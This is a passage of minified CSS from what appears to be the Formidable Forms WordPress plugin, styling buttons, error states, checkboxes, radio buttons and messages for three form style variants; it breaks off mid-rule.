.frm_button_submit:focus{color: transparent;background:var(--submit-bg-color);border-color:var(--submit-bg-color);}.frm_style_formidable-style.with_frm_style .frm_loading_prev .frm_prev_page:before,.frm_style_formidable-style.with_frm_style .frm_loading_form .frm_button_submit:before {border-bottom-color:var(--submit-text-color);border-right-color:var(--submit-text-color);}.frm_style_formidable-style.with_frm_style.frm_inline_top .frm_submit::before,.frm_style_formidable-style.with_frm_style .frm_submit.frm_inline_submit::before {content:"before";font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:var(--font-size);color:var(--label-color);font-weight:var(--weight);margin:0;padding:var(--label-padding);width:auto;display:block;visibility:hidden;}.frm_style_formidable-style.with_frm_style.frm_inline_form .frm_submit input,.frm_style_formidable-style.with_frm_style.frm_inline_form .frm_submit button,.frm_style_formidable-style.with_frm_style .frm_submit.frm_inline_submit input,.frm_style_formidable-style.with_frm_style .frm_submit.frm_inline_submit button {margin: 0 !important;}.frm_style_formidable-style.with_frm_style .frm_blank_field input[type=text],.frm_style_formidable-style.with_frm_style .frm_blank_field input[type=password],.frm_style_formidable-style.with_frm_style .frm_blank_field input[type=url],.frm_style_formidable-style.with_frm_style .frm_blank_field input[type=tel],.frm_style_formidable-style.with_frm_style .frm_blank_field input[type=number],.frm_style_formidable-style.with_frm_style .frm_blank_field input[type=email],.frm_style_formidable-style.with_frm_style .frm_blank_field input[type=checkbox],.frm_style_formidable-style.with_frm_style .frm_blank_field input[type=radio],.frm_style_formidable-style.with_frm_style .frm_blank_field textarea,.frm_style_formidable-style.with_frm_style .frm_blank_field .mce-edit-area iframe,.frm_style_formidable-style.with_frm_style .frm_blank_field select:not(.ui-datepicker-month):not(.ui-datepicker-year),.frm_form_fields_error_style,.frm_style_formidable-style.with_frm_style .frm_blank_field .frm-g-recaptcha iframe,.frm_style_formidable-style.with_frm_style .frm_blank_field .g-recaptcha iframe,.frm_style_formidable-style.with_frm_style .frm_blank_field .frm-card-element.StripeElement,.frm_style_formidable-style.with_frm_style .frm_blank_field .chosen-container-multi .chosen-choices,.frm_style_formidable-style.with_frm_style .frm_blank_field .chosen-container-single .chosen-single,.frm_style_formidable-style.with_frm_style .frm_form_field :invalid {color:var(--text-color-error);background-color:var(--bg-color-error);border-color:var(--border-color-error);border-width:var(--border-width-error);border-style:var(--border-style-error);}.frm_style_formidable-style.with_frm_style .frm_error,.frm_style_formidable-style.with_frm_style .frm_limit_error{font-weight:var(--weight);color:var(--border-color-error);}.frm_style_formidable-style.with_frm_style .frm_error_style{background-color:var(--error-bg);border:1px solid var(--error-border);border-radius:var(--border-radius);color:var(--error-text);font-size:var(--error-font-size);margin:0;margin-bottom:var(--field-margin);}.frm_style_formidable-style.with_frm_style #frm_loading .progress-striped .progress-bar{background-image:linear-gradient(45deg, #BFC3C8 25%, rgba(0, 0, 0, 0) 25%, rgba(0, 0, 0, 0) 50%, #BFC3C8 50%, #BFC3C8 75%, rgba(0, 0, 0, 0) 75%, rgba(0, 0, 0, 0));}.frm_style_formidable-style.with_frm_style #frm_loading .progress-bar{background-color:var(--bg-color);}.frm_style_formidable-style.with_frm_style .frm_form_field.frm_total_big input,.frm_style_formidable-style.with_frm_style .frm_form_field.frm_total_big textarea,.frm_style_formidable-style.with_frm_style .frm_form_field.frm_total input,.frm_style_formidable-style.with_frm_style .frm_form_field.frm_total textarea{color: #555555;background-color:transparent;border:none;display:inline;width:auto;padding:0;}.frm_style_formidable-style-2.with_frm_style{--form-desc-padding:0px;--submit-bg-color:#0c71c3;--submit-border-color:#0c71c3;--progress-active-bg-color:#0c71c3;--toggle-on-color:#0c71c3;--slider-color:#0c71c3;--slider-bar-color:#0c71c3;--date-head-bg-color:#0c71c3;--date-band-color:#0f1832;}.frm_forms.frm_style_formidable-style-2.with_frm_style{max-width:var(--form-width);direction:var(--direction);}.frm_style_formidable-style-2.with_frm_style .form-field{margin-bottom:var(--field-margin);}.frm_style_formidable-style-2.with_frm_style .form-field.frm_section_heading{margin-bottom:0;}.frm_style_formidable-style-2.with_frm_style p.description,.frm_style_formidable-style-2.with_frm_style div.description,.frm_style_formidable-style-2.with_frm_style div.frm_description,.frm_style_formidable-style-2.with_frm_style .frm-show-form > div.frm_description,.frm_style_formidable-style-2.with_frm_style .frm_error,.frm_style_formidable-style-2.with_frm_style .frm_pro_max_limit_desc{margin-top: 6px;padding:0;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:12px;color:#666666;font-weight:normal;text-align:left;font-style:normal;max-width:100%;}.frm_style_formidable-style-2.with_frm_style .frm_form_field.frm_left_container{grid-template-columns: 150px auto;}.frm_style_formidable-style-2.with_frm_style .frm_form_field.frm_right_container{grid-template-columns: auto 150px;}.frm_form_field.frm_right_container{grid-template-columns: auto 25%;}.frm_style_formidable-style-2.with_frm_style .frm_inline_container.frm_dynamic_select_container .frm_data_container,.frm_style_formidable-style-2.with_frm_style .frm_inline_container.frm_dynamic_select_container .frm_opt_container{display:inline;}.frm_style_formidable-style-2.with_frm_style .frm_pos_right{display:inline;width:var(--width);}.frm_style_formidable-style-2.with_frm_style .frm_none_container .frm_primary_label,.frm_style_formidable-style-2.with_frm_style .frm_pos_none{display:none;}.frm_style_formidable-style-2.with_frm_style .frm_scale label{font-weight:normal;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:13px;color:#444444;}.frm_style_formidable-style-2.with_frm_style input::placeholder,.frm_style_formidable-style-2.with_frm_style textarea::placeholder{color:var(--text-color-disabled);}.frm_style_formidable-style-2.with_frm_style .frm_default,.frm_style_formidable-style-2.with_frm_style input.frm_default,.frm_style_formidable-style-2.with_frm_style textarea.frm_default,.frm_style_formidable-style-2.with_frm_style select.frm_default,.frm_style_formidable-style-2.with_frm_style .chosen-container-multi .chosen-choices li.search-field .default,.frm_style_formidable-style-2.with_frm_style .chosen-container-single .chosen-default,.frm_style_formidable-style-2.with_frm_style .placeholder {color:var(--text-color-disabled);}.frm_style_formidable-style-2.with_frm_style .form-field input:not([type=file]):not([type=range]):not([readonly]):focus,.frm_style_formidable-style-2.with_frm_style select:focus,.frm_style_formidable-style-2.with_frm_style .form-field textarea:focus,.frm_style_formidable-style-2.with_frm_style .frm_focus_field input[type=text],.frm_style_formidable-style-2.with_frm_style .frm_focus_field input[type=password],.frm_style_formidable-style-2.with_frm_style .frm_focus_field input[type=email],.frm_style_formidable-style-2.with_frm_style .frm_focus_field input[type=number],.frm_style_formidable-style-2.with_frm_style .frm_focus_field input[type=url],.frm_style_formidable-style-2.with_frm_style .frm_focus_field input[type=tel],.frm_style_formidable-style-2.with_frm_style .frm_focus_field input[type=search],.frm_form_fields_active_style,.frm_style_formidable-style-2.with_frm_style .chosen-container-single.chosen-container-active .chosen-single,.frm_style_formidable-style-2.with_frm_style .chosen-container-active .chosen-choices,.frm_style_formidable-style-2.with_frm_style .frm_focus_field .frm-card-element.StripeElement {background-color:var(--bg-color-active);border-color:var(--border-color-active);color:var(--text-color);box-shadow:0px 0px 5px 0px rgba(102,175,233, 0.6);}.frm_style_formidable-style-2.with_frm_style .frm_compact .frm_dropzone.dz-clickable .dz-message,.frm_style_formidable-style-2.with_frm_style .frm-edit-page-btn,.frm_style_formidable-style-2.with_frm_style input[type=submit],.frm_style_formidable-style-2.with_frm_style .frm_submit input[type=button],.frm_style_formidable-style-2.with_frm_style .frm_submit button,.frm_form_submit_style {width:auto;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:15px;height:auto;line-height:normal;text-align:center;background:#0c71c3;border-width:1px;border-color: #0c71c3;border-style:solid;color:#ffffff;cursor:pointer;font-weight:normal;border-radius:4px;text-shadow:none;padding:10px 20px;box-sizing:border-box;box-shadow:0 1px 1px #eeeeee;margin:10px;margin-left:0;margin-right:0;vertical-align:middle;}.frm_style_formidable-style-2.with_frm_style .frm_compact .frm_dropzone.dz-clickable .dz-message{margin:0;}.frm_style_formidable-style-2.with_frm_style .frm-edit-page-btn:hover,.frm_style_formidable-style-2.with_frm_style input[type=submit]:hover,.frm_style_formidable-style-2.with_frm_style .frm_submit input[type=button]:hover,.frm_style_formidable-style-2.with_frm_style .frm_submit button:hover{background:var(--submit-hover-bg-color);border-color:var(--submit-hover-border-color);color:var(--submit-hover-color);}.frm_style_formidable-style-2.with_frm_style.frm_center_submit .frm_submit .frm_ajax_loading{margin-bottom:10px;}.frm_style_formidable-style-2.with_frm_style .frm-edit-page-btn:focus,.frm_style_formidable-style-2.with_frm_style input[type=submit]:focus,.frm_style_formidable-style-2.with_frm_style .frm_submit input[type=button]:focus,.frm_style_formidable-style-2.with_frm_style .frm_submit button:focus,.frm_style_formidable-style-2.with_frm_style input[type=submit]:active,.frm_style_formidable-style-2.with_frm_style .frm_submit input[type=button]:active,.frm_style_formidable-style-2.with_frm_style .frm_submit button:active{background:var(--submit-active-bg-color);border-color:var(--submit-active-border-color);color:var(--submit-active-color);outline: none;}.frm_style_formidable-style-2.with_frm_style .frm_loading_prev .frm_prev_page,.frm_style_formidable-style-2.with_frm_style .frm_loading_prev .frm_prev_page:hover,.frm_style_formidable-style-2.with_frm_style .frm_loading_prev .frm_prev_page:active,.frm_style_formidable-style-2.with_frm_style .frm_loading_prev .frm_prev_page:focus,.frm_style_formidable-style-2.with_frm_style .frm_loading_form .frm_button_submit,.frm_style_formidable-style-2.with_frm_style .frm_loading_form .frm_button_submit:hover,.frm_style_formidable-style-2.with_frm_style .frm_loading_form .frm_button_submit:active,.frm_style_formidable-style-2.with_frm_style .frm_loading_form .frm_button_submit:focus{color: transparent;background:var(--submit-bg-color);border-color:var(--submit-bg-color);}.frm_style_formidable-style-2.with_frm_style .frm_loading_prev .frm_prev_page:before,.frm_style_formidable-style-2.with_frm_style .frm_loading_form .frm_button_submit:before {border-bottom-color:var(--submit-text-color);border-right-color:var(--submit-text-color);}.frm_style_formidable-style-2.with_frm_style.frm_inline_top .frm_submit::before,.frm_style_formidable-style-2.with_frm_style .frm_submit.frm_inline_submit::before {content:"before";font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:var(--font-size);color:var(--label-color);font-weight:var(--weight);margin:0;padding:var(--label-padding);width:auto;display:block;visibility:hidden;}.frm_style_formidable-style-2.with_frm_style.frm_inline_form .frm_submit input,.frm_style_formidable-style-2.with_frm_style.frm_inline_form .frm_submit button,.frm_style_formidable-style-2.with_frm_style .frm_submit.frm_inline_submit input,.frm_style_formidable-style-2.with_frm_style .frm_submit.frm_inline_submit button {margin: 0 !important;}.frm_style_formidable-style-2.with_frm_style .frm_blank_field input[type=text],.frm_style_formidable-style-2.with_frm_style .frm_blank_field input[type=password],.frm_style_formidable-style-2.with_frm_style .frm_blank_field input[type=url],.frm_style_formidable-style-2.with_frm_style .frm_blank_field input[type=tel],.frm_style_formidable-style-2.with_frm_style .frm_blank_field input[type=number],.frm_style_formidable-style-2.with_frm_style .frm_blank_field input[type=email],.frm_style_formidable-style-2.with_frm_style .frm_blank_field input[type=checkbox],.frm_style_formidable-style-2.with_frm_style .frm_blank_field input[type=radio],.frm_style_formidable-style-2.with_frm_style .frm_blank_field textarea,.frm_style_formidable-style-2.with_frm_style .frm_blank_field .mce-edit-area iframe,.frm_style_formidable-style-2.with_frm_style .frm_blank_field select:not(.ui-datepicker-month):not(.ui-datepicker-year),.frm_form_fields_error_style,.frm_style_formidable-style-2.with_frm_style .frm_blank_field .frm-g-recaptcha iframe,.frm_style_formidable-style-2.with_frm_style .frm_blank_field .g-recaptcha iframe,.frm_style_formidable-style-2.with_frm_style .frm_blank_field .frm-card-element.StripeElement,.frm_style_formidable-style-2.with_frm_style .frm_blank_field .chosen-container-multi .chosen-choices,.frm_style_formidable-style-2.with_frm_style .frm_blank_field .chosen-container-single .chosen-single,.frm_style_formidable-style-2.with_frm_style .frm_form_field :invalid {color:var(--text-color-error);background-color:var(--bg-color-error);border-color:var(--border-color-error);border-width:var(--border-width-error);border-style:var(--border-style-error);}.frm_style_formidable-style-2.with_frm_style .frm_error,.frm_style_formidable-style-2.with_frm_style .frm_limit_error{font-weight:var(--weight);color:var(--border-color-error);}.frm_style_formidable-style-2.with_frm_style .frm_error_style{background-color:var(--error-bg);border:1px solid var(--error-border);border-radius:var(--border-radius);color:var(--error-text);font-size:var(--error-font-size);margin:0;margin-bottom:var(--field-margin);}.frm_style_formidable-style-2.with_frm_style #frm_loading .progress-striped .progress-bar{background-image:linear-gradient(45deg, #BFC3C8 25%, rgba(0, 0, 0, 0) 25%, rgba(0, 0, 0, 0) 50%, #BFC3C8 50%, #BFC3C8 75%, rgba(0, 0, 0, 0) 75%, rgba(0, 0, 0, 0));}.frm_style_formidable-style-2.with_frm_style #frm_loading .progress-bar{background-color:var(--bg-color);}.frm_style_formidable-style-2.with_frm_style .frm_form_field.frm_total_big input,.frm_style_formidable-style-2.with_frm_style .frm_form_field.frm_total_big textarea,.frm_style_formidable-style-2.with_frm_style .frm_form_field.frm_total input,.frm_style_formidable-style-2.with_frm_style .frm_form_field.frm_total textarea{color: #555555;background-color:transparent;border:none;display:inline;width:auto;padding:0;}.frm_style_formidable-style-3.with_frm_style{--form-desc-padding:0px;--submit-bg-color:#0c71c3;--submit-border-color:#0c71c3;--progress-active-bg-color:#0c71c3;--toggle-on-color:#0c71c3;--slider-color:#0c71c3;--slider-bar-color:#0c71c3;--date-head-bg-color:#0c71c3;--date-band-color:#0f1832;}.frm_forms.frm_style_formidable-style-3.with_frm_style{max-width:var(--form-width);direction:var(--direction);}.frm_style_formidable-style-3.with_frm_style .form-field{margin-bottom:var(--field-margin);}.frm_style_formidable-style-3.with_frm_style .form-field.frm_section_heading{margin-bottom:0;}.frm_style_formidable-style-3.with_frm_style p.description,.frm_style_formidable-style-3.with_frm_style div.description,.frm_style_formidable-style-3.with_frm_style div.frm_description,.frm_style_formidable-style-3.with_frm_style .frm-show-form > div.frm_description,.frm_style_formidable-style-3.with_frm_style .frm_error,.frm_style_formidable-style-3.with_frm_style .frm_pro_max_limit_desc{margin-top: 6px;padding:0;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:12px;color:#666666;font-weight:normal;text-align:left;font-style:normal;max-width:100%;}.frm_style_formidable-style-3.with_frm_style .frm_form_field.frm_left_container{grid-template-columns: 150px auto;}.frm_style_formidable-style-3.with_frm_style .frm_form_field.frm_right_container{grid-template-columns: auto 150px;}.frm_form_field.frm_right_container{grid-template-columns: auto 25%;}.frm_style_formidable-style-3.with_frm_style .frm_inline_container.frm_dynamic_select_container .frm_data_container,.frm_style_formidable-style-3.with_frm_style .frm_inline_container.frm_dynamic_select_container .frm_opt_container{display:inline;}.frm_style_formidable-style-3.with_frm_style .frm_pos_right{display:inline;width:var(--width);}.frm_style_formidable-style-3.with_frm_style .frm_none_container .frm_primary_label,.frm_style_formidable-style-3.with_frm_style .frm_pos_none{display:none;}.frm_style_formidable-style-3.with_frm_style .frm_scale label{font-weight:normal;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:13px;color:#444444;}.frm_style_formidable-style-3.with_frm_style input::placeholder,.frm_style_formidable-style-3.with_frm_style textarea::placeholder{color:var(--text-color-disabled);}.frm_style_formidable-style-3.with_frm_style .frm_default,.frm_style_formidable-style-3.with_frm_style input.frm_default,.frm_style_formidable-style-3.with_frm_style textarea.frm_default,.frm_style_formidable-style-3.with_frm_style select.frm_default,.frm_style_formidable-style-3.with_frm_style .chosen-container-multi .chosen-choices li.search-field .default,.frm_style_formidable-style-3.with_frm_style .chosen-container-single .chosen-default,.frm_style_formidable-style-3.with_frm_style .placeholder {color:var(--text-color-disabled);}.frm_style_formidable-style-3.with_frm_style .form-field input:not([type=file]):not([type=range]):not([readonly]):focus,.frm_style_formidable-style-3.with_frm_style select:focus,.frm_style_formidable-style-3.with_frm_style .form-field textarea:focus,.frm_style_formidable-style-3.with_frm_style .frm_focus_field input[type=text],.frm_style_formidable-style-3.with_frm_style .frm_focus_field input[type=password],.frm_style_formidable-style-3.with_frm_style .frm_focus_field input[type=email],.frm_style_formidable-style-3.with_frm_style .frm_focus_field input[type=number],.frm_style_formidable-style-3.with_frm_style .frm_focus_field input[type=url],.frm_style_formidable-style-3.with_frm_style .frm_focus_field input[type=tel],.frm_style_formidable-style-3.with_frm_style .frm_focus_field input[type=search],.frm_form_fields_active_style,.frm_style_formidable-style-3.with_frm_style .chosen-container-single.chosen-container-active .chosen-single,.frm_style_formidable-style-3.with_frm_style .chosen-container-active .chosen-choices,.frm_style_formidable-style-3.with_frm_style .frm_focus_field .frm-card-element.StripeElement {background-color:var(--bg-color-active);border-color:var(--border-color-active);color:var(--text-color);box-shadow:0px 0px 5px 0px rgba(102,175,233, 0.6);}.frm_style_formidable-style-3.with_frm_style .frm_compact .frm_dropzone.dz-clickable .dz-message,.frm_style_formidable-style-3.with_frm_style .frm-edit-page-btn,.frm_style_formidable-style-3.with_frm_style input[type=submit],.frm_style_formidable-style-3.with_frm_style .frm_submit input[type=button],.frm_style_formidable-style-3.with_frm_style .frm_submit button,.frm_form_submit_style {width:auto;font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:15px;height:auto;line-height:normal;text-align:center;background:#0c71c3;border-width:1px;border-color: #0c71c3;border-style:solid;color:#ffffff;cursor:pointer;font-weight:normal;border-radius:4px;text-shadow:none;padding:10px 20px;box-sizing:border-box;box-shadow:0 1px 1px #eeeeee;margin:10px;margin-left:0;margin-right:0;vertical-align:middle;}.frm_style_formidable-style-3.with_frm_style .frm_compact .frm_dropzone.dz-clickable .dz-message{margin:0;}.frm_style_formidable-style-3.with_frm_style .frm-edit-page-btn:hover,.frm_style_formidable-style-3.with_frm_style input[type=submit]:hover,.frm_style_formidable-style-3.with_frm_style .frm_submit input[type=button]:hover,.frm_style_formidable-style-3.with_frm_style .frm_submit button:hover{background:var(--submit-hover-bg-color);border-color:var(--submit-hover-border-color);color:var(--submit-hover-color);}.frm_style_formidable-style-3.with_frm_style.frm_center_submit .frm_submit .frm_ajax_loading{margin-bottom:10px;}.frm_style_formidable-style-3.with_frm_style .frm-edit-page-btn:focus,.frm_style_formidable-style-3.with_frm_style input[type=submit]:focus,.frm_style_formidable-style-3.with_frm_style .frm_submit input[type=button]:focus,.frm_style_formidable-style-3.with_frm_style .frm_submit button:focus,.frm_style_formidable-style-3.with_frm_style input[type=submit]:active,.frm_style_formidable-style-3.with_frm_style .frm_submit input[type=button]:active,.frm_style_formidable-style-3.with_frm_style .frm_submit button:active{background:var(--submit-active-bg-color);border-color:var(--submit-active-border-color);color:var(--submit-active-color);outline: none;}.frm_style_formidable-style-3.with_frm_style .frm_loading_prev .frm_prev_page,.frm_style_formidable-style-3.with_frm_style .frm_loading_prev .frm_prev_page:hover,.frm_style_formidable-style-3.with_frm_style .frm_loading_prev .frm_prev_page:active,.frm_style_formidable-style-3.with_frm_style .frm_loading_prev .frm_prev_page:focus,.frm_style_formidable-style-3.with_frm_style .frm_loading_form .frm_button_submit,.frm_style_formidable-style-3.with_frm_style .frm_loading_form .frm_button_submit:hover,.frm_style_formidable-style-3.with_frm_style .frm_loading_form .frm_button_submit:active,.frm_style_formidable-style-3.with_frm_style .frm_loading_form .frm_button_submit:focus{color: transparent;background:var(--submit-bg-color);border-color:var(--submit-bg-color);}.frm_style_formidable-style-3.with_frm_style .frm_loading_prev .frm_prev_page:before,.frm_style_formidable-style-3.with_frm_style .frm_loading_form .frm_button_submit:before {border-bottom-color:var(--submit-text-color);border-right-color:var(--submit-text-color);}.frm_style_formidable-style-3.with_frm_style.frm_inline_top .frm_submit::before,.frm_style_formidable-style-3.with_frm_style .frm_submit.frm_inline_submit::before {content:"before";font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,sans-serif;font-size:var(--font-size);color:var(--label-color);font-weight:var(--weight);margin:0;padding:var(--label-padding);width:auto;display:block;visibility:hidden;}.frm_style_formidable-style-3.with_frm_style.frm_inline_form .frm_submit input,.frm_style_formidable-style-3.with_frm_style.frm_inline_form .frm_submit button,.frm_style_formidable-style-3.with_frm_style .frm_submit.frm_inline_submit input,.frm_style_formidable-style-3.with_frm_style .frm_submit.frm_inline_submit button {margin: 0 !important;}.frm_style_formidable-style-3.with_frm_style .frm_blank_field input[type=text],.frm_style_formidable-style-3.with_frm_style .frm_blank_field input[type=password],.frm_style_formidable-style-3.with_frm_style .frm_blank_field input[type=url],.frm_style_formidable-style-3.with_frm_style .frm_blank_field input[type=tel],.frm_style_formidable-style-3.with_frm_style .frm_blank_field input[type=number],.frm_style_formidable-style-3.with_frm_style .frm_blank_field input[type=email],.frm_style_formidable-style-3.with_frm_style .frm_blank_field input[type=checkbox],.frm_style_formidable-style-3.with_frm_style .frm_blank_field input[type=radio],.frm_style_formidable-style-3.with_frm_style .frm_blank_field textarea,.frm_style_formidable-style-3.with_frm_style .frm_blank_field .mce-edit-area iframe,.frm_style_formidable-style-3.with_frm_style .frm_blank_field select:not(.ui-datepicker-month):not(.ui-datepicker-year),.frm_form_fields_error_style,.frm_style_formidable-style-3.with_frm_style .frm_blank_field .frm-g-recaptcha iframe,.frm_style_formidable-style-3.with_frm_style .frm_blank_field .g-recaptcha iframe,.frm_style_formidable-style-3.with_frm_style .frm_blank_field .frm-card-element.StripeElement,.frm_style_formidable-style-3.with_frm_style .frm_blank_field .chosen-container-multi .chosen-choices,.frm_style_formidable-style-3.with_frm_style .frm_blank_field .chosen-container-single .chosen-single,.frm_style_formidable-style-3.with_frm_style .frm_form_field :invalid {color:var(--text-color-error);background-color:var(--bg-color-error);border-color:var(--border-color-error);border-width:var(--border-width-error);border-style:var(--border-style-error);}.frm_style_formidable-style-3.with_frm_style .frm_error,.frm_style_formidable-style-3.with_frm_style .frm_limit_error{font-weight:var(--weight);color:var(--border-color-error);}.frm_style_formidable-style-3.with_frm_style .frm_error_style{background-color:var(--error-bg);border:1px solid var(--error-border);border-radius:var(--border-radius);color:var(--error-text);font-size:var(--error-font-size);margin:0;margin-bottom:var(--field-margin);}.frm_style_formidable-style-3.with_frm_style #frm_loading .progress-striped .progress-bar{background-image:linear-gradient(45deg, #BFC3C8 25%, rgba(0, 0, 0, 0) 25%, rgba(0, 0, 0, 0) 50%, #BFC3C8 50%, #BFC3C8 75%, rgba(0, 0, 0, 0) 75%, rgba(0, 0, 0, 0));}.frm_style_formidable-style-3.with_frm_style #frm_loading .progress-bar{background-color:var(--bg-color);}.frm_style_formidable-style-3.with_frm_style .frm_form_field.frm_total_big input,.frm_style_formidable-style-3.with_frm_style .frm_form_field.frm_total_big textarea,.frm_style_formidable-style-3.with_frm_style .frm_form_field.frm_total input,.frm_style_formidable-style-3.with_frm_style .frm_form_field.frm_total textarea{color: #555555;background-color:transparent;border:none;display:inline;width:auto;padding:0;}.frm_ajax_loading{visibility:hidden;width:auto;}.frm_form_submit_style{height:auto;}a.frm_save_draft{cursor:pointer;}.with_frm_style a.frm_save_draft,.with_frm_style a.frm_start_over{font-family: var(--font);font-size: var(--submit-font-size);font-weight: var(--submit-weight);}.horizontal_radio .frm_radio{margin:0 5px 0 0;}.horizontal_radio .frm_checkbox{margin:0;margin-right:12px;}.vertical_radio .frm_checkbox,.vertical_radio .frm_radio,.vertical_radio .frm_catlevel_1{display:block;}.horizontal_radio .frm_checkbox,.horizontal_radio .frm_radio,.horizontal_radio .frm_catlevel_1{display:inline-block;padding-left: 0;}.with_frm_style .frm_radio{display: var(--radio-align);}.with_frm_style .frm_checkbox{display: var(--check-align);}.with_frm_style .vertical_radio .frm_checkbox,.with_frm_style .vertical_radio .frm_radio,.vertical_radio .frm_catlevel_1{display:block;margin-bottom: 10px;}.with_frm_style .horizontal_radio .frm_checkbox,.with_frm_style .horizontal_radio .frm_radio,.horizontal_radio .frm_catlevel_1{display:inline-block;}.with_frm_style .frm_checkbox label,.with_frm_style .frm_radio label {display: inline-block;vertical-align: middle;white-space:normal;}.with_frm_style .frm_checkbox label input[type=checkbox],.with_frm_style .frm_radio label input[type=radio] {margin-right: 4px;}.with_frm_style .frm_checkbox label:not(.frm-label-disabled),.with_frm_style .frm_radio label:not(.frm-label-disabled) {cursor: pointer;}.with_frm_style .vertical_radio .frm_checkbox label,.with_frm_style .vertical_radio .frm_radio label{display: block;width: 100%;}.with_frm_style .frm_radio label,.with_frm_style .frm_checkbox label {font-family: var(--font);font-size: var(--check-font-size);color: var(--check-label-color);font-weight: var(--check-weight);line-height: 1.3;}.with_frm_style .frm_radio input[type=radio],.with_frm_style .frm_checkbox input[type=checkbox] {font-size: var(--check-font-size);position: static;}.frm_file_container .frm_file_link,.with_frm_style .frm_radio label .frm_file_container,.with_frm_style .frm_checkbox label .frm_file_container{display:inline-block;margin:5px;vertical-align:middle;}.with_frm_style .frm_radio input[type=radio], .with_frm_style .frm_scale input[type=radio]{border-radius:50%;}.with_frm_style .frm_checkbox input[type=checkbox] {border-radius: calc(var(--border-radius) / 2) !important;}.with_frm_style .frm_radio input[type=radio],.with_frm_style .frm_scale input[type=radio],.with_frm_style .frm_checkbox input[type=checkbox]{appearance: none;background-color: var(--bg-color);flex: none;display:inline-block !important;width: 16px !important;min-width: 16px !important;height: 16px !important;color: var(--border-color);border: 1px solid currentColor;border-color: var(--border-color);vertical-align: middle;position: initial; padding: 0;margin: 0;}.frm_forms.with_frm_style .frm_fields_container .frm_radio input[type=radio]:not([disabled]):checked,.frm_forms.with_frm_style .frm_fields_container .frm_scale input[type=radio]:not([disabled]):checked,.frm_forms.with_frm_style .frm_fields_container .frm_checkbox input[type=checkbox]:not([disabled]):checked {border-color: var(--border-color-active) !important;}.frm_forms.with_frm_style .frm_fields_container .frm_checkbox input[type=checkbox]:not([disabled]):checked {background-color: var(--border-color-active) !important;}.with_frm_style .frm_radio input[type=radio][disabled]:checked,.with_frm_style .frm_scale input[type=radio][disabled]:checked,.with_frm_style .frm_checkbox input[type=checkbox][disabled]:checked {border-color: var(--border-color) !important; }.with_frm_style .frm_checkbox input[type=checkbox][disabled]:checked {background-color: var(--border-color) !important;}.with_frm_style .frm_radio input[type=radio]:checked:before,.with_frm_style .frm_scale input[type=radio]:checked:before,.with_frm_style .frm_checkbox input[type=checkbox]:checked:before {position: static !important; content: '';display: block;}.frm_forms.with_frm_style .frm_checkbox input[type=checkbox]:before {width: 100% !important;height: 100% !important;background-image: url("data:image/svg+xml,%3Csvg width='12' height='9' viewBox='0 0 12 9' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M10.6667 1.5L4.25001 7.91667L1.33334 5' stroke='white' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'/%3E%3C/svg%3E%0A") !important;background-size: 9px !important;background-repeat: no-repeat !important;background-position: center !important;margin: 0;}.with_frm_style .frm_scale input[type=radio]:before,.with_frm_style .frm_radio input[type=radio]:before {width: 8px;height: 8px;border-radius: 50%;background-color: var(--border-color-active);margin: 3px;}.with_frm_style .frm_scale input[type=radio][disabled]:before,.with_frm_style .frm_radio input[type=radio][disabled]:before {background-color: var(--border-color);}.with_frm_style :invalid,.with_frm_style :-moz-ui-invalid{box-shadow:none;}.with_frm_style .frm_error_style img{padding-right:10px;vertical-align:middle;border:none;}.with_frm_style .frm_trigger{cursor:pointer;}.with_frm_style .frm_error_style,.with_frm_style .frm_message,.frm_success_style{border-radius:4px;padding:15px;}.with_frm_style .frm_message p {color: var(--success-text-color);margin-bottom: 0;}.with_frm_style .frm_message > p:first-of-type {margin-top: 0;}.with_frm_style .frm_message,.frm_success_style {margin: 5px 0 15px;border: 1px solid var(--success-border-color);background-color: var(--success-bg-color);color: var(--success-text-color);border-radius: var(--border-radius);font-size: var(--success-font-size);}.with_frm_style .frm_plain_success .frm_message {background-color: transparent;padding:0;border:none;font-size:inherit;color:inherit;}.with_frm_style .frm_plain_success .frm_message p {color:inherit;}.frm_form_fields_style,.frm_form_fields_active_style,.frm_form_fields_error_style,.frm_form_submit_style{width:auto;}.with_frm_style .frm_trigger span{float:left;}.with_frm_style table.frm-grid,#content .with_frm_style table.frm-grid{border-collapse:collapse;border:none;}.frm-grid td,.frm-grid th{padding:5px;border-width:1px;border-style:solid;border-color: var(--border-color);border-top:none;border-left:none;border-right:none;}.frm-alt-table {width:100%;border-collapse:separate;margin-top:0.5em;font-size:15px;border-width:1px;}.with_frm_style .frm-alt-table{border-color: var(--border-color);}.frm-alt-table th {width:200px;}.frm-alt-table tr {background-color:transparent;}.frm-alt-table th,.frm-alt-table td {background-color:transparent;vertical-align:top;text-align:left;padding:20px;border-color:transparent;}.frm-alt-table tr:nth-child(even) {background-color:#ecf0f5;}table.form_results.with_frm_style{border-style: solid;border-width: var(--field-border-width);border-color: var(--border-color);}table.form_results.with_frm_style tr td{text-align:left;padding:7px 9px;color: var(--text-color);border-top-style: solid;border-top-width: var(--field-border-width);border-top-color: var(--border-color);}table.form_results.with_frm_style tr.frm_even,.frm-grid .frm_even{background-color:#fff;background-color:var(--bg-color);}table.form_results.with_frm_style tr.frm_odd,.frm-grid .frm_odd {background-color: var(--bg-color);}.frm_color_block {background-color:#ecf0f5;padding: 40px;}.with_frm_style .frm-show-form .frm_color_block.frm_section_heading h3,.frm_color_block.frm_section_heading h3 {border-width: 0 !important;}.frm_collapse .ui-icon{display:inline-block;}.frm_toggle_container{border:1px solid transparent;}.frm_toggle_container ul{margin:5px 0;padding-left:0;list-style-type:none;}.frm_toggle_container .frm_month_heading{text-indent:15px;}.frm_toggle_container .frm_month_listing{margin-left:40px;}#frm_loading{display:none;position:fixed;top:0;left:0;width:100%;height:100%;z-index:99999;}#frm_loading 